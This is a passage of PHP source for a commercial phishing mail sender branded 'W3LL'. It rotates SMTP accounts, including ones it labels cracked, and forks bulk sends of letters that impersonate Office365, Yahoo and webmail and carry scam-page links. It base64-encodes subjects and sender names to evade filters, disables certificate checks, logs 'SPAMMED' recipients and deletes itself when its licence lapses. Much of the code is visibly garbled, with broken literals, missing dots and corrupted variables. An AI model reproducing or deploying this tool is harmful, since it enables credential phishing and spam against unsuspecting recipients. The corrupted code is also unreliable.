Jamahiriya", "Liechtenstein", "Lithuania", "Luxembourg", "Macau", "Macedonia, The Former Yugoslav Republic of", "Madagascar", "Malawi", "Malaysia", "Maldives", "Mali", "Malta", "Marshall Islands", "Martinique", "Mauritania", "Mauritius", "Mayotte", "Mexico", "Micronesia, Federated States of", "Moldova, Republic of", "Monaco", "Mongolia", "Montserrat", "Morocco", "Mozambique", "Myanmar", "Namibia", "Nauru", "Nepal", "Netherlands", "Netherlands Antilles", "New Caledonia", "New Zealand", "Nicaragua", "Niger", "Nigeria", "Niue", "Norfolk Island", "Northern Mariana Islands", "Norway", "Oman", "Pakistan", "Palau", "Panama", "Papua New Guinea", "Paraguay", "Peru", "Philippines", "Pitcairn", "Poland", "Portugal", "Puerto Rico", "Qatar", "Reunion", "Romania", "Russian Federation", "Rwanda", "Saint Kitts and Nevis", "Saint Lucia", "Saint Vincent and the Grenadines", "Samoa", "San Marino", "Sao Tome and Principe", "Saudi Arabia", "Senegal", "Seychelles", "Sierra Leone", "Singapore", "Slovakia (Slovak Republic)", "Slovenia", "Solomon Islands", "Somalia", "South Africa", "South Georgia and the South Sandwich Islands", "Spain", "Sri Lanka", "StHelena", "StPierre and Miquelon", "Sudan", "Suriname", "Svalbard and Jan Mayen Islands", "Swaziland", "Sweden", "Switzerland", "Syrian Arab Republic", "Taiwan, Province of China", "Tajikistan", "Tanzania, United Republic of", "Thailand", "Togo", "Tokelau", "Tonga", "Trinidad and Tobago", "Tunisia", "Turkey", "Turkmenistan", "Turks and Caicos Islands", "Tuvalu", "Uganda", "Ukraine", "United Arab Emirates", "United Kingdom", "United States", "United States Minor Outlying Islands", "Uruguay", "Uzbekistan", "Vanuatu", "Venezuela", "Vietnam", "Virgin Islands (British)", "Virgin Islands (US.)", "Wallis and Futuna Islands", "Western Sahara", "Yemen", "Yugoslavia", "Zambia", "Zimbabwe");
    shuffle($countries);
    $country = array_shift($countries);

    $OSystems = array('Windows 10', 'Windows 81', 'Windows 8', 'Windows 7', 'Windows Vista', 'Windows Server 2003/XP x64', 'Windows XP', 'Windows XP', 'Mac OS X', 'Mac OS 9', 'Linux', 'Ubuntu', 'iPhone', 'iPod', 'iPad', 'Android', 'BlackBerry', 'Windows 10 Home Edition');
    shuffle($OSystems);
    $OS = array_shift($OSystems);

    $ListBrowser = array('Internet Explorer', 'Firefox', 'Safari', 'Chrome', 'Edge', 'Opera', 'Netscape', 'Tor Browser');
    shuffle($ListBrowser);
    $browser = array_shift($ListBrowser);
    $date = date('d/M/Y');
    $time = date('g:i A (T)');
    $file = $msgfile;
    $arr  = array(
        '++w3ll_logo++',
        '++w3ll_data_gender++',
        '++w3ll_data_title++',
        '++w3ll_data_first++',
        '++w3ll_data_last++',
        '++w3ll_data_street_number++',
        '++w3ll_data_street_name++',
        '++w3ll_data_city++',
        '++w3ll_data_state++',
        '++w3ll_data_country++',
        '++w3ll_data_post_code++',
        '++w3ll_data_latitude++',
        '++w3ll_data_longitude++',
        '++w3ll_data_timezone_offset++',
        '++w3ll_data_timezone_description++',
        '++w3ll_data_email++',
        '++w3ll_data_uuid++',
        '++w3ll_data_username++',
        '++w3ll_data_password++',
        '++w3ll_data_salt++',
        '++w3ll_data_md5++',
        '++w3ll_data_sha1++',
        '++w3ll_data_sha256++',
        '++w3ll_data_dob_date++',
        '++w3ll_data_age++',
        '++w3ll_data_registered++',
        '++w3ll_data_phone++',
        '++w3ll_data_cell++',
        '++w3ll_data_id_name++',
        '++w3ll_data_id_value++',
        '++w3ll_data_picture_small++',
        '++w3ll_data_picture_medium++',
        '++w3ll_data_picture_large++',
        '++w3ll_data_nat++',
        '++w3ll_domain_url++',
        '++w3ll_smtp++',
        '++w3ll_short64++',
        '++w3ll_email64++',
        '++w3ll_email++',
        '++w3ll_subject++',
        '++w3ll_randomip++',
        '++w3ll_frommail++',
        '++w3ll_fromname++',
        '++w3ll_short++',
        '++w3ll_randstring++',
        '++w3ll_country++',
        '++w3ll_date++',
        '++w3ll_number1++',
        '++w3ll_number2++',
        '++w3ll_number3++',
        '++w3ll_number4++',
        '++w3ll_number5++',
        '++w3ll_number6++',
        '++w3ll_number7++',
        '++w3ll_number8++',
        '++w3ll_number9++',
        '++w3ll_number10++',
        '++w3ll_os++',
        '++w3ll_browser++',
        '++w3ll_time++',
        '++w3ll_user++',
        '++w3ll_domain++',
        '++w3ll_domain1++',
        '++w3ll_secret_email++',
        '++w3ll_smtp_user++'
    );


    $new  = array('' . $img_src . '', '' . $w3ll_data_gender . '','' . $w3ll_data_title . '','' . $w3ll_data_first . '','' . $w3ll_data_last . '','' . $w3ll_data_street_number . '','' . $w3ll_data_street_name . '','' . $w3ll_data_city . '','' . $w3ll_data_state . '','' . $w3ll_data_country . '','' . $w3ll_data_post_code . '','' . $w3ll_data_latitude . '','' . $w3ll_data_longitude . '','' . $w3ll_data_timezone_offset . '','' . $w3ll_data_timezone_description . '','' . $w3ll_data_email . '','' . $w3ll_data_uuid . '','' . $w3ll_data_username . '','' . $w3ll_data_password . '','' . $w3ll_data_salt . '', '' . $w3ll_data_md5 . '', '' . $w3ll_data_sha1 . '', '' . $w3ll_data_sha256 . '', '' . $w3ll_data_dob_date . '', '' . $w3ll_data_age . '', '' . $w3ll_data_registered . '', '' . $w3ll_data_phone . '', '' . $w3ll_data_cell . '', '' . $w3ll_data_id_name . '', '' . $w3ll_data_id_value . '', '' . $w3ll_data_picture_small  . '', '' . $w3ll_data_picture_medium . '', '' . $w3ll_data_picture_large . '', '' . $w3ll_data_nat . '', '' . $host . '','' . $smtp_email . '','' . $base64url . '','' . $email64 . '','' . $email . '', '' . $subject . '', '' . $randip . '', '' . $frommail . '', '' . $fromname . '', '' . $randurls . '', '' . $randstr1 . '', '' . $country . '', '' . $date . '', '' . $randnumber1 . '', '' . $randnumber2 . '', '' . $randnumber3 . '', '' . $randnumber4 . '', '' . $randnumber5 . '', '' . $randnumber6 . '', '' . $randnumber7 . '', '' . $randnumber8 . '', '' . $randnumber9 . '', '' . $randnumber10 . '', '' . $OS . '', '' . $browser . '','' . $time . '','' . $user1 . '','' . $domain . '','' . $domain1 . '','' . $secret_mail . '', ''.$smtp_user.'');
    $repl = str_replace($arr, $new, $file);
    return $repl;
};

function Reletter($letter, $mailto)
{
    $file = file_get_contents($letter);
    $arr  = array('++w3ll_email++');
    $new  = array('' . $mailto . '');
    $repl = str_replace($arr, $new, $file);
    return $repl;
};

function berhenti($kata)
{
    $k = strlen($kata);
    if ($k == $k) {
        $p = substr($kata, $k - 1);
        if ($p == 0) {
            echo "Break for 5 seconds...\n";
            sleep(5);
        }

    }

}

function Savedata($file, $data)
{
    $file = fopen($file, "w");
    fputs($file, PHP_EOL . $data);
    return fclose($file);
};

function RemoveLine($file, $name)
{
    $getfile  = file_get_contents($file);
    $search   = explode($name, $getfile);
    $save     = "x";
    $savedata = Savedata($file, $save);
    return $savedata;
};
system('clear');
date_default_timezone_set('America/Los_Angeles');
echo"\r\n";
echo"\r\n";
echo"\r\n";
echo"\r\n";
echo"\r\n";
echo"\r\n";
echo"\r\n";
echo"\r\n";
echo"      █████████████████████████████████████████████████████████████████████\r\n";
echo"      █                                                                   █\r\n";
echo"      █\e[31m       NOTE: THIS SENDER SOLD ON W3LLSTORECO WITH PRICE 85$       \e[0m█\r\n      \e[0m█\e[31m       IF YOU DONT BUY THIS SENDER FROM HTTPS://W3LLSTORECO,    \e[0m  █ \r\n      \e[0m█\e[31m  MEAN YOU USE ILLEGAL SENDER..AND YOUR TOKEN WILL BE BANNED SOON! \e[0m█\r\n";
echo"      █                                                                   █\r\n";
echo"      █████████████████████████████████████████████████████████████████████\r\n";
sleep(6);
system('clear');
"x" .= "                                             \r\n";
"x" .= "\e[0;31m 		    $$\      $$\  $$$$$$\  $$\       $$\       \r\n";
"x" .= "		    $$ | $\  $$ |$$ ___$$\ $$ |      $$ |      \r\n";
"x" .= "		    $$ |$$$\ $$ |\_/   $$ |$$ |      $$ |      \r\n";
"x" .= "\e[0;34m		    HTTPS://W3LLSTORECO OFFICIAL SENDER|      \r\n";
"x" .= "\e[1;37m		    $$$$  _$$$$ |  \___$$\ $$ |      $$ |      \r\n";
"x" .= "		    $$$  / \\$$$ |$$\   $$ |$$ |      $$ |      \r\n";
"x" .= "		    $$  /   \\$$ |\\$$$$$$  |$$$$$$$$\ $$$$$$$$\ \r\n";
"x" .= "		    \__/     \__| \______/ \________|\________|\r\n";
"x" .= "\e[0;32m		    					  V".$version."\r\n";

"p" .= "\e[0;34m			   __    __ _____   __    __  \r\n";
"p" .= "\e[0;31m			  / / /\ \ \___ /  / /   / /  \r\n"; 
"p" .= "\e[1;36m			  \ \/  \/ / |_ \ / /   / /   \r\n";
"p" .= "\e[0;35m			   \  /\  / ___) / /___/ /___ \r\n";
"p" .= "\e[0;33m			    \/  \/ |____/\____/\____/ \r\n";
"p" .= "\e[0;37m			                  SINCE 2017\r\n";
"p" .= "\e[0;32m			   		        V".$version."\r\n";        

"l" .= "                                             \r\n";
"l" .= "\e[1;33m		    _/          _/  _/_/_/    _/        _/     \r\n";
"l" .= "\e[1;34m		   _/          _/        _/  _/        _/      \r\n";
"l" .= "\e[1;32m		  _/    _/    _/    _/_/    _/        _/       \r\n";
"l" .= "\e[1;36m		   _/  _/  _/          _/  _/        _/\e[0;32m   V".$version."        \r\n";
"l" .= "\e[1;31m		    _/  _/      _/_/_/    _/_/_/_/  _/_/_/_/   \r\n"; 
"l" .= "\e[1;35m                                               W3LLSTORECO\r\n";
        
"o" .= "                                             \r\n";
"o" .= "\e[31m 		       ██╗    ██╗██████╗ ██╗     ██╗          \r\n";
"o" .= "\e[31m 		       ██║    ██║╚════██╗██║     ██║          \r\n";
"o" .= "\e[31m 		       ██║ █╗ ██║ █████╔╝██║     ██║          \r\n";
"o" .= "\e[37m 		       ██║███╗██║ ╚═══██╗██║     ██║          \r\n";
"o" .= "\e[37m 		       ╚███╔███╔╝██████╔╝███████╗███████╗     \r\n";
"o" .= "\e[37m 		        ╚══╝╚══╝ ╚═════╝ ╚══════╝╚══════╝     \r\n";
"o" .= "\e[0;32m			   		            V".$version."\r\n";  
                                  



        print_r( $logo[rand(1,4)]);

if (preg_match('/\bDays Left\b/',$checkval))
{
echo "\r\n";
echo "\r\n";
        echo "                             \e[32;1mUsername : $checkval\n\n\e[0m";
}
else if($checkval == 'Please renew your Token')
{

    unlink('READMEtxt');
    unlink('W3LLphp');
    unlink('setting/phpmailer/Exceptionphp');
    unlink('setting/phpmailer/OAuthphp');
    unlink('setting/phpmailer/PHPMailerphp');
    unlink('setting/phpmailer/POP3php');
    unlink('setting/phpmailer/SMTPphp');
    unlink('file/W3LL_MAILIST/W3LL_LISTtxt');
    unlink('file/W3LL_LETTER/AOLhtml');
    unlink('file/W3LL_LETTER/CHINESEhtml');
    unlink('file/W3LL_LETTER/MAILRUhtml');
    unlink('file/W3LL_LETTER/OFFICEhtml');
    unlink('file/W3LL_LETTER/WEBMAILhtml');
    unlink('file/W3LL_LETTER/YAHOOhtml');
    rmdir('setting/phpmailer');
    rmdir('setting');
    rmdir('file/W3LL_MAILIST');
    rmdir('file/W3LL_LETTER');
    rmdir('file');
    system('clear');

    echo "                          \e[1;37;41mError : Token Expired\n\e[0m";
    die();
}
else
{
    echo "                      \e[1;37;41mError : $checkval\n\e[0m";
    die();
}
function encode($text)
{
   $list = array("a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z",":","/") ;
   $replace = array("a", "b", "c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z",":","/");

   $walah = str_replace($list, $replace, $text);
   return $walah;
}
function SmtpType($smtp)
{
    if (preg_match('/\bsendgrid\b/',$smtp))
    {
        $type = 'SENDGRID';
    }
    else if (preg_match('/\bgmail\b/',$smtp))
    {
        $type = 'G-SUITE';
    }
    else if (preg_match('/\bsecuresmtp\b/',$smtp))
    {
        $type = 'T-ONLINE';
    }
    else if (preg_match('/\boffice365\b/',$smtp))
    {
        $type = 'OFFICE 365';
    }
    else if (preg_match('/\bemailsrvr\b/',$smtp))
    {
        $type = 'RACKSPACE';
    }
    else
    {
        $type = 'CRACKED';
    }
    return $type;
}
function Kirim($email, $smtp_acc, $W3LL_setup)
{
    global $ahh, $num;

    $smtp           = new SMTP;
    $smtp->do_debug = 0;
    $smtpserver         = $smtp_acc['host'];
    $smtpport           = $smtp_acc['port'];
    $smtpuser           = $smtp_acc['username'];
    $smtppass           = $smtp_acc['password'];
    $priority           = $W3LL_setup['priority'];
    $sleeptime          = $W3LL_setup['sleeptime'];
    $replacement        = $W3LL_setup['replacement'];
    $userremoveline     = $W3LL_setup['userremoveline'];
    $fromname           = $W3LL_setup['fromname'];
    $frommail           = $W3LL_setup['frommail'];
    $subject            = $W3LL_setup['subject'];
    $msgfile            = $W3LL_setup['msgfile'];
    $filepdf            = $W3LL_setup['filesend'];
    $randurl            = $W3LL_setup['scampage'];
    $redirect           = $W3LL_setup['redirect'];
    $subject_encrypt    = $W3LL_setup['subject_encrypt'];
    $fromname_encrypt    = $W3LL_setup['fromname_encrypt'];

    if($smtpport == 465)
    {
        $smtpserver = "ssl://".$smtpserver;
    }

    if (!$smtp->connect($smtpserver, $smtpport)) {
        //throw new Exception('Connect failed');
        echo "     [\e[0;31mPLEASE CHECK UR SMTP ON http://smtpernet [CASE1]\e[0m ]\r\n";
        die();
    }


    if (!$smtp->hello(gethostname())) {
        //throw new Exception('EHLO failed: ' . $smtp->getError()['error']);
        echo "     [\e[0;31mPLEASE CHECK UR SMTP ON http://smtpernet [CASE2] \e[0m ]\r\n";
        die();
    }

        $smtptypez = SmtpType($smtpserver);
        if ($smtp->authenticate($smtpuser, $smtppass)) {
            if(!is_file($msgfile)) {
                echo "     [\e[0;31m LETTER NOT FOUND - PLEASE CHECK YOUR LETTER NAME !\e[0m ]\r\n";
                die();
            }
            if($W3LL_setup['filesend'] == 1) {
                if(!is_file($W3LL_setup['attach'])) {
                    echo "     [\e[0;31m ATTACHMENT NOT FOUND - PLEASE CHECK YOUR ATTACHMENT NAME !\e[0m ]\r\n";
                    die();
                }
            }
            $randstr023       = RandString1(16);
            $mail           = new PHPMailer;

            //CREATE DKIM

            $selector = 'phpmailer';
            //Path to your private key:
            $privatekeyfile = 'setting/dkim_privatepem';
            //Path to your public key:
            $publickeyfile = 'setting/dkim_publicpem';
            
            $mail->Encoding = 'base64'; // 8bit base64 multipart/alternative quoted-printable
            $mail->headerLine("format", "flowed");
            
            $mail->addCustomHeader("MIME-Version: 10\r\n");
            //$mail->addCustomHeader("charset=UTF-8\r\n");

            //Start SMTP
            $mail->IsSMTP();
            $mail->SMTPAuth = true;
            $mail->Host     = $smtpserver;
            $mail->Port     = $smtpport;
            $mail->Priority = $priority;
            $mail->SMTPOptions = array (
              'ssl' => array(
              'verify_peer'  => false,
              'verify_peer_name'  => false,
              'allow_self_signed' => true));
            $mail->Username = $smtpuser;
            $mail->Password = $smtppass;
            $randstr01       = RandString1(8);
            $randstr011      = RandString(5);
            $randstr012      = RandString1(5);
            $nmbr            = RandNumber(5);


            shuffle($subject);
            $subject  = array_shift($subject);
            shuffle($fromname);
            $fromname  = array_shift($fromname);

            $fromnames = str_replace('++w3ll_smtp++', $smtpuser, $fromname);
            $frommails = str_replace('++w3ll_smtp++', $smtpuser, $frommail);
          
          

            $fromnames = str_replace('++w3ll_randstring++', $randstr011, $fromnames);
            $frommails = str_replace('++w3ll_randstring++', $randstr01, $frommails);

            $fromnames = privateLHZ($email, $fromnames, $smtpuser);
            $frommails = privateLHZ1($email, $frommails);


            $subjects  = str_replace('++w3ll_randstring++', $randstr012, $subject);
            $subjects = subjecting($subjects, $email, $frommail, $fromname, $randurl, $subject, $smtpuser, $redirect);

            if($fromname_encrypt == 1)
            {
                $rand = rand(1,5);
                switch($rand)
                {
                    case 1:
                        $fromnames = '=?ISO-8859-15?B?'.base64_encode($fromnames).'?=';
                        $mail->setFrom($frommails, $fromnames);
                        break;
                    case 2:
                        $fromnames = '=?Windows-1254?B?'.base64_encode($fromnames).'?=';
                        $mail->setFrom($frommails, $fromnames);
                        break;
                    case 3:
                        $fromnames = '=?UTF-8?B?'.base64_encode($fromnames).'?=';
                        $mail->setFrom($frommails, $fromnames);
                        break;
                    default:
                        $fromnames = '=?ISO-8859-1?B?'.base64_encode($fromnames).'?=';
                        $mail->setFrom($frommails, $fromnames);
                        break;
                }
            }
            else
            {
               $mail->setFrom($frommails, $fromnames);
            }

            $mail->AddAddress($email);

            if($subject_encrypt == 1)
            {
                $rand = rand(1,4);
                switch($rand)
                {
                    case 1:
                        $subjects = '=?Windows-1254?B?'.base64_encode($subjects).'?=';
                        $mail->Subject = $subjects;
                        break;
                    case 2:
                        $subjects = '=?ISO-8859-1?B?'.base64_encode($subjects).'?=';
                        $mail->Subject = $subjects;
                        break;
                    case 3:
                        $subjects = '=?UTF-8?B?'.base64_encode($subjects).'?=';
                        $mail->Subject = $subjects;
                        break;
                    default:
                        $subjects = '=?Windows-1252?B?'.base64_encode($subjects).'?=';
                        $mail->Subject = $subjects;
                        break;
                }
            }
            else
            {
                $mail->Subject = $subjects;
            }
          
            if ($W3LL_setup['filesend'] == 1) {
                $attch = file_get_contents($W3LL_setup['attach']);
                $attach = lettering($W3LL_setup['attach'], $email, $frommail, $fromname, $randurl, $subject, $smtpuser, $redirect);
                file_put_contents($W3LL_setup['attach'], $attach);
                $mail->AddAttachment($W3LL_setup['attach']);
            }
          
            if ($replacement == 1) {
                $msg = lettering($msgfile, $email, $frommail, $fromname, $randurl, $subject, $smtpuser, $redirect);
            } else {
                $msg = file_get_contents($msgfile);
            }
            
            $mail->msgHTML($msg);

            if (!$mail->send()) {
                $err = 0;
                $halo = $mail->ErrorInfo;

                if (preg_match('/\bquota\b/',$halo))
                {
                    $err = 1;
                }
                

                if($err == 1)
                {
                    
                    echo "     [\e[1;35m";
                    echo $num+1 ."\e[0m] ";
                    echo "\e[0m[\e[1;34m$email\e[0m] ";
                    echo " > [\e[0;31mFAIL - $smtptypez SMTP SEND QUOTA HAS LIMIT - NOT REMOVED\e[0m]\n";

                }
                else
                {
                    if ($W3LL_setup['userremoveline'] == 1) {
                        
                                echo "     [\e[1;35m";
                                echo $num+1 ."\e[0m] ";
                                echo "\e[0m[\e[1;34m$email\e[0m] ";
                                echo " > [\e[0;31mEMAIL NOT VALID - REMOVED\e[0m]\r\n";

                        Savedata($W3LL_setup['mail_list'], trim(str_replace($email, "", file_get_contents($W3LL_setup['mail_list']))));
                        $file = fopen("INVALIDtxt", "a+");
                        fwrite($file, "$email\n");
                        fclose($file);
                    }
                    else
                    {
                        
                                echo "     [\e[1;35m";
                                echo $num+1 ."\e[0m] ";
                                echo "\e[0m[\e[1;34m$smtpuser\e[0m";
                                echo " > \e[0;31mSMTP ERROR\e[0m] [\e[0;31m☓\e[0m]\n";
                    }
                    //
                }
            } else {
                
                        echo "     [\e[1;35m";
                        echo $num+1 ."\e[0m] ";
                        echo "\e[0m[\e[1;34m$smtpuser\e[0m";
                        echo " to \e[96m$email\e[0m] [\e[92m✓\e[0m]\n";
                $file = fopen("SPAMMEDtxt", "a");
                fwrite($file,"". $email." \r\n");
                fclose($file);
            }
            $mail->clearAddresses();

        } else {
            
                    echo "     [\e[1;35m";
                    echo $num+1 ."\e[0m] ";;
                    echo "\e[0m[\e[1;34m$smtpuser\e[0m";
                    echo " > \e[0;31mSMTP ERROR\e[0m] [\e[0;31m☓\e[0m]\n";
                    $file = fopen("FAILEDtxt", "a");
            fwrite($file,"". $email." \r\n");
            fclose($file);
        }
    $smtp->quit(true);
}


    $dipake = 0;

    if(!is_file($W3LL_setup['mail_list'])) {
         echo "     [\e[0;31m MAILIST NOT FOUND - PLEASE CHECK YOUR MAILIST NAME !\e[0m ]\r\n";
         die();
    }

    $file = file_get_contents($W3LL_setup['mail_list']);

    if ($file) {
        $ext = explode("\n", $file);
       echo "                              [\e[36mTIME START \e[92m: " .date('H:i:s')."] ";
		echo " \r\n\r\n                                   \e[1;94m████████████\e[0m                           \r\n";
        echo "\e[0m     ██████████████████████████████\e[1;32m \e[92mW\e[33m3\e[36mL\e[35mL \e[31mS\e[92mT\e[33mA\e[36mR\e[35mT \e[0m████████████████████████████\e[0m\n";
        echo "                                  \e[1;94m ████████████\e[0m\r\n";
        echo "\r\n";
      
        $smtp_key = 0;
        $rat = $W3LL_setup['ratio'];
        $crot = 0;
        $crotmax = count($ext) - 1;

        foreach ($ext as $num => $email) {

            if ($smtp_key == count($smtp_acc)) {
                $smtp_key = 0;
            }

                        $ahh = $ext[$crot];
            $w3ll_setup['fromname'] = $ahh;
            $crot++;
            if ($crot >= $crotmax){
                $crot = 0;
            }
            $rat--;
            if($rat == 0)
            {
                sleep($W3LL_setup['sleeptime']+1);
                $rat = $W3LL_setup['ratio'];
                echo "     \e[92m═══════\e[33;1mSEND $rat EMAIL WITH DELAY ".$W3LL_setup['sleeptime']." SECOND\e[92m═══════\e[0m\r\n";
            }
            RandNumber(5);
            //kirim
            $pid = pcntl_fork();

            if ($pid == -1) {
                exit("Error forking...\n");
            } else if ($pid == 0) {
                Kirim($email, $smtp_acc[$smtp_key], $W3LL_setup);
                
            }
            $dipake++;
            $smtp_key++;
            if ($W3LL_setup['userremoveline'] == 1) {
                unset($ext[$num]);
                Savedata($W3LL_setup['mail_list'], implode("\n", $ext));

            }
        }
		
        echo " \r\n\r\n                                   \e[1;94m███████████\e[0m                           \r\n";
        echo "\e[0m     ██████████████████████████████\e[1;32m \e[92mW\e[33m3\e[36mL\e[35mL \e[31mD\e[92mO\e[33mN\e[36mE \e[0m█████████████████████████████\e[0m\n";
        echo "                                  \e[1;94m ███████████\e[0m\r\n";
		echo "\r\n ";
		echo "                             [\e[36mTIME DONE \e[92m: " .date('H:i:s')."] ";
        echo "\r\n";
    }

     
    error_reporting(0);
    include 'configphp';

    use PHPMailer\PHPMailer\PHPMailer;
    use PHPMailer\PHPMailer\SMTP;
    use PHPMailer\PHPMailer\Exception;

    require 'setting/phpmailer/Exceptionphp';
    require 'setting/phpmailer/PHPMailerphp';
    require 'setting/phpmailer/SMTPphp';

//Updates..
system('clear');
echo("Checking updates...\n");

$version = 24;
$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, 'https://w3llstoreco/api-updatephp?version='.$version);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'GET');

curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');

$headers = array();
$headers[] = 'Connection: keep-alive';
$headers[] = 'Cache-Control: max-age=0';
$headers[] = 'Upgrade-Insecure-Requests: 1';
$headers[] = 'User-Agent: Mozilla/50 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/604138 (KHTML, like Gecko) Version/110 Mobile/15A372 Safari/6041';
$headers[] = 'Sec-Fetch-Mode: navigate';
$headers[] = 'Sec-Fetch-User: ?1';
$headers[] = 'Accept: text/html,application/xhtml+xml,application/xml;q=09,image/webp,image/apng,**;q=08';
    $headers[] = 'Accept-Encoding: gzip, deflate, br';
    $headers[] = 'Accept-Language: en-US,en;q=09';
    curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

    $result = curl_exec($ch);
    if (curl_errno($ch)) {
        echo 'Error:' . curl_error($ch);
    }
    curl_close ($ch);

    return $result;
}

$checkval = checkValid($uToken);

function privateLHZ($replacement, $data, $opt = null) {
    
    
    $pattern = array('/\+\+w3ll_email\+\+/', '/\+\+w3ll_domain\+\+/','/\+\+w3ll_domain1\+\+/', '/\+\+w3ll_user\+\+/', '/\+\+w3ll_number3\+\+/', '/\+\+w3ll_number4\+\+/', '/\+\+w3ll_number5\+\+/', '/\+\+w3ll_secret_email\+\+/', '/\+\+w3ll_smtp_user\+\+/');
    $replace = array($replacement, explode('@', $replacement)[1],explode(, $domain)[0], explode('@', $replacement)[0], str_shuffle(implode("", range(000, 999))), str_shuffle(implode("", range(0000, 9999))), str_shuffle(implode("", range(00000, 99999))), str_replace(substr(explode('@', $replacement)[0], 2, (strlen(explode('@', $replacement)[0])/2) + 2), '********', $replacement), explode("@", $opt)[0]);
    return preg_replace($pattern, $replace, $data);
}

function privateLHZ1($replacement, $data, $opt = null) {
    
    
    $pattern = array('/\+\+w3ll_email\+\+/', '/\+\+w3ll_domain\+\+/','/\+\+w3ll_domain1\+\+/', '/\+\+w3ll_user\+\+/', '/\+\+w3ll_number3\+\+/', '/\+\+w3ll_number4\+\+/', '/\+\+w3ll_number5\+\+/', '/\+\+w3ll_secret_email\+\+/', '/\+\+w3ll_smtp_user\+\+/');
    $replace = array($replacement, explode('@', $replacement)[1],explode(, $domain)[0], explode('@', $replacement)[0], str_shuffle(implode("", range(000, 999))), str_shuffle(implode("", range(0000, 9999))), str_shuffle(implode("", range(00000, 99999))), str_replace(substr(explode('@', $replacement)[0], 2, (strlen(explode('@', $replacement)[0])/2) + 2), '********', $replacement), explode("@", $opt)[0]);
    return preg_replace($pattern, $replace, $data);
}

function RandString($randstr)
{
    
    $str  = '';
    for ($i = 0;
        $i < $randstr;
        $i++) {
        $pos = rand(0, strlen($char) - 1);
        $str .= $char{$pos};
    }
    return $str;

};

function RandString1($randstr)
{
    QWERTYUIOPASDFGHJKLZXCVBNM123456789= '123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
    $str  = '';
    for ($i = 0;
        $i < $randstr;
        $i++) {
        $pos = rand(0, strlen($char) - 1);
        $str .= $char{$pos};
    }
    return $str;
};

function RandNumber($randstr)
{
    QWERTYUIOPASDFGHJKLZXCVBNM123456789= '123456789';
    $str  = '';
    for ($i = 0;
        $i < $randstr;
        $i++) {
        $pos = rand(0, strlen($char) - 1);
        $str .= $char{$pos};
    }
    return $str;

};

function secret_mail($email)
{
    $em   = explode("@",$email);
    $name = implode(array_slice($em, 0, count($em)-1), '@');
    $len  = floor(strlen($name)/2);

    return substr($name,0, $len) . str_repeat('*', $len) . "@" . end($em);   
}

function download_image1($image_url, $image_file){
        $fp = fopen ($image_file, 'w+');              // open file handle

        $ch = curl_init($image_url);
        // curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // enable if you want
        curl_setopt($ch, CURLOPT_FILE, $fp);          // output to file
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
        curl_setopt($ch, CURLOPT_TIMEOUT, 5);      // some large value to allow curl to run for a long time
        curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/50');
        // curl_setopt($ch, CURLOPT_VERBOSE, true);   // Enable this line to see debug prints
        curl_exec($ch);

        curl_close($ch);                              // closing curl handle
        fclose($fp);                                  // closing file handle
}

function lettering($msgfile, $email, $frommail, $fromname, $randurl, $subject, $smtp_user, $redirect)
{
                            
    //Name fake
    $ch = curl_init();

    curl_setopt($ch, CURLOPT_URL, 'https://randomuserme/api/');
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'GET');

    curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');

    $result = curl_exec($ch);
    if (curl_errno($ch)) {
            
    }
    else
    {
            $data = json_decode($result);
      
            $w3ll_data_gender= $data->"e"->gender;
            $w3ll_data_title = $data->"e"->name->title;
            $w3ll_data_first = $data->"e"->name->first;
            $w3ll_data_last = $data->"e"->name->last;
            $w3ll_data_street_number = $data->"e"->location->street->number;
            $w3ll_data_street_name = $data->"e"->location->street->name;
            $w3ll_data_city = $data->"e"->location->city;
            $w3ll_data_state = $data->"e"->location->state;
            $w3ll_data_country = $data->"e"->location->country;
            $w3ll_data_post_code = $data->"e"->location->postcode;
            $w3ll_data_latitude = $data->"e"->location->coordinates->latitude;
            $w3ll_data_longitude = $data->"e"->location->coordinates->longitude;
            $w3ll_data_timezone_offset = $data->"e"->location->timezone->offset;
            $w3ll_data_timezone_description = $data->"e"->location->timezone->description;
            $w3ll_data_email = $data->"e"->email;
            $w3ll_data_uuid = $data->"e"->login->uuid;
            $w3ll_data_username = $data->"e"->login->username;
            $w3ll_data_password = $data->"e"->login->password;
            $w3ll_data_salt = $data->"e"->login->salt;
            $w3ll_data_md5 = $data->"e"->login->md5;
            $w3ll_data_sha1 = $data->"e"->login->sha1;
            $w3ll_data_sha256 = $data->"e"->login->sha256;
            $w3ll_data_dob_date = $data->"e"->dob->date;
            $w3ll_data_age = $data->"e"->dob->age;
            $w3ll_data_registered = $data->"e"->registered->date;
            $w3ll_data_phone = $data->"e"->phone;
            $w3ll_data_cell = $data->"e"->cell;
            $w3ll_data_id_name = $data->"e"->id->name;
            $w3ll_data_id_value = $data->"e"->id->value;
            $w3ll_data_picture_small = $data->"e"->picture->thumbnail;
            $w3ll_data_picture_medium = $data->"e"->picture->medium;
            $w3ll_data_picture_large = $data->"e"->picture->large;
            $w3ll_data_nat = $data->"e"->nat;
    }
    curl_close($ch);
  
    
    
    $user1 = ucwords(""e"");
    
    
    $domains1 = explode(, $domain);
    $domain1 = ucwords (""e"");
    $secret_mail= secret_mail($email);
    $randip       = "" . rand(1, 100) .  . rand(1, 100) .  . rand(1, 100) .  . rand(1, 100) . "";
    $randstr1     = RandString(10);
    $randstr1     = RandString(6);
    $randnumber1  = RandNumber(1);
    $randnumber2  = RandNumber(2);
    $randnumber3  = RandNumber(3);
    $randnumber4  = RandNumber(4);
    $randnumber5  = RandNumber(5);
    $randnumber6  = RandNumber(6);
    $randnumber7  = RandNumber(7);
    $randnumber8  = RandNumber(8);
    $randnumber9  = RandNumber(9);
    $randnumber10 = RandNumber(10);

    $ch = curl_init();

